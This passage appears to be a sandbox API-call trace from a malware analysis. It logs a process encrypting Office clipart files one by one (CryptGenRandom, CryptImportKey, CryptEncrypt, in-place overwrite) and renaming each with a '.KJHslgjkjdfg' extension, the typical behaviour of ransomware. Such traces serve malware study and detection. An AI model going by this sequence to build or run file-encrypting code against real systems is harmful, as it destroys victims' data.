lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.kjhslgjkjdfg")) returned 1 [0197.912] CloseHandle (hObject=0x130) returned 1 [0197.912] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0197.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.913] GetProcessHeap () returned 0x2ef0000 [0197.913] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.913] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.913] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.914] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.914] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.914] GetProcessHeap () returned 0x2ef0000 [0197.914] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.915] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.915] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.915] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.915] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.915] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.915] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.915] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.915] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.915] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.915] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9b8, lpOverlapped=0x0) returned 1 [0197.915] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9c0) returned 1 [0197.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.915] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9c0, lpOverlapped=0x0) returned 1 [0197.915] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.915] SetEndOfFile (hFile=0x130) returned 1 [0197.917] GetProcessHeap () returned 0x2ef0000 [0197.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.917] GetProcessHeap () returned 0x2ef0000 [0197.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.kjhslgjkjdfg")) returned 1 [0197.918] CloseHandle (hObject=0x130) returned 1 [0197.918] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0197.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.919] GetProcessHeap () returned 0x2ef0000 [0197.919] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.919] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.919] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0197.921] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.921] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.921] GetProcessHeap () returned 0x2ef0000 [0197.921] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.921] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.921] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.921] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.921] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.921] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.921] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.921] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.921] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.921] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.921] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x150a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x150a, lpOverlapped=0x0) returned 1 [0197.922] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1510, dwBufLen=0x1510 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1510) returned 1 [0197.922] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.923] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1510, lpOverlapped=0x0) returned 1 [0197.923] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.923] SetEndOfFile (hFile=0x130) returned 1 [0197.924] GetProcessHeap () returned 0x2ef0000 [0197.924] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.924] GetProcessHeap () returned 0x2ef0000 [0197.924] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.kjhslgjkjdfg")) returned 1 [0197.925] CloseHandle (hObject=0x130) returned 1 [0197.925] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0197.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.993] GetProcessHeap () returned 0x2ef0000 [0197.993] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.993] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.993] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0197.995] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.995] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.995] GetProcessHeap () returned 0x2ef0000 [0197.995] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.995] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.995] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.995] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.995] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.995] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.995] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.996] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.996] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.996] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.996] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe16, lpOverlapped=0x0) returned 1 [0197.996] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe20, dwBufLen=0xe20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe20) returned 1 [0197.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.996] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe20, lpOverlapped=0x0) returned 1 [0197.996] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.996] SetEndOfFile (hFile=0x130) returned 1 [0197.998] GetProcessHeap () returned 0x2ef0000 [0197.998] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.998] GetProcessHeap () returned 0x2ef0000 [0197.998] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.kjhslgjkjdfg")) returned 1 [0198.000] CloseHandle (hObject=0x130) returned 1 [0198.000] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0198.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.001] GetProcessHeap () returned 0x2ef0000 [0198.001] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.001] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.001] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0198.003] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.003] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.003] GetProcessHeap () returned 0x2ef0000 [0198.003] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.003] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.003] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.003] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.004] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.004] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.004] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.004] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.004] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.004] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.004] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x23c2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x23c2, lpOverlapped=0x0) returned 1 [0198.005] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23d0, dwBufLen=0x23d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x23d0) returned 1 [0198.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.005] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x23d0, lpOverlapped=0x0) returned 1 [0198.006] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.006] SetEndOfFile (hFile=0x130) returned 1 [0198.008] GetProcessHeap () returned 0x2ef0000 [0198.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.008] GetProcessHeap () returned 0x2ef0000 [0198.009] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.kjhslgjkjdfg")) returned 1 [0198.010] CloseHandle (hObject=0x130) returned 1 [0198.010] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099180.WMF", 